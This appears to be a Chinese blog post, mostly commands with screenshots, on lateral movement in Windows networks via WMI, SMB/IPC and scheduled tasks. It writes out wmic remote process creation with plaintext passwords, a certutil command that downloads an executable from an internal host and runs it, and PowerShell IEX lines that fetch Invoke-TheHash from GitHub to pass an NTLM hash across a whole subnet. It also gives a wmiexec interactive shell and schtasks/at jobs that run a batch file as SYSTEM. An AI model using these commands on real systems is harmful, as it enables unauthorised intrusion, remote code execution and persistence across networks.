SMB WMI
使用wmic查询远程主机进程信息:
wmic /node:192.168.91.131 /user:Administrator /password:ABCabc123 process list brief
![在这里插入图片描述](https://img-blog.csdnimg.cn/20181122224916164.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2Mzc0ODk2,size_16,color_FFFFFF,t_70)
创建进程:
wmic /node:192.168.91.131 /user:Administrator /password:ABCabc123 process call create "calc.exe"
![在这里插入图片描述](https://img-blog.csdnimg.cn/20181122224944463.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2Mzc0ODk2,size_16,color_FFFFFF,t_70)
下载文件并执行
wmic /node:192.168.91.131 /user:Administrator /password:ABCabc123 process call create "cmd /c certutil.exe -urlcache -split -f http://10.60.18.18/test/putty.exe c:/windows/temp/putty3.exe & c:/windows/temp/putty3.exe"
![在这里插入图片描述](https://img-blog.csdnimg.cn/20181122224957989.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2Mzc0ODk2,size_16,color_FFFFFF,t_70)
使用powershell查看主机进程信息:
powershell -ep bypass
Get-WmiObject -Namespace "root\cimv2" -class Win32_process -Credential administrator -ComputerName 192.168.91.131
![在这里插入图片描述](https://img-blog.csdnimg.cn/20181122225007490.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2Mzc0ODk2,size_16,color_FFFFFF,t_70)
查看共享信息:
Get-WmiObject -Namespace "root\cimv2" -class Win32_share -Credential administrator -ComputerName 192.168.91.131
![在这里插入图片描述](https://img-blog.csdnimg.cn/20181122225018674.png)
打开交互式shell:
python setup.py install
python wmiexec.py -share admin$ administrator:360College@192.168.111.51
![在这里插入图片描述](https://img-blog.csdnimg.cn/20181122225027719.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3FxXzM2Mzc0ODk2,size_16,color_FFFFFF,t_70)
使用HASH碰撞内网中其他机器:
powershell -ep bypass
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-WMIExec.ps1');
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/master/Invoke-TheHash.ps1');
Invoke-TheHash -Type WMIExec -Target 192.168.111.0/24 -Domain rootkit -Username administrator -Hash 7c70a81c7c5882c24298d391fd397885
![在这里插入图片描述](https://img-blog.csdnimg.cn/2018112222504658.png)
计划任务
ipc
net use \\192.168.91.131\IPC$ /user:"administrator" "ABCabc123"
copy C:\Users\qianxiao996\Desktop\putty.exe \\192.168.91.131\c$
schtasks
schtasks /create /s 192.168.91.131 /u Administrator /p ABCabc123 /ru "SYSTEM" /tn CMDNAME /sc DAILY /st 22:18 /tr C:\\Users\\qianxiao996\\Desktop\\sha\\cmd.bat /F
at
at \\192.168.91.131 19:30 /every:5,6,7,10,18,19,21,24,28 c:\windows\temp\cmd.bat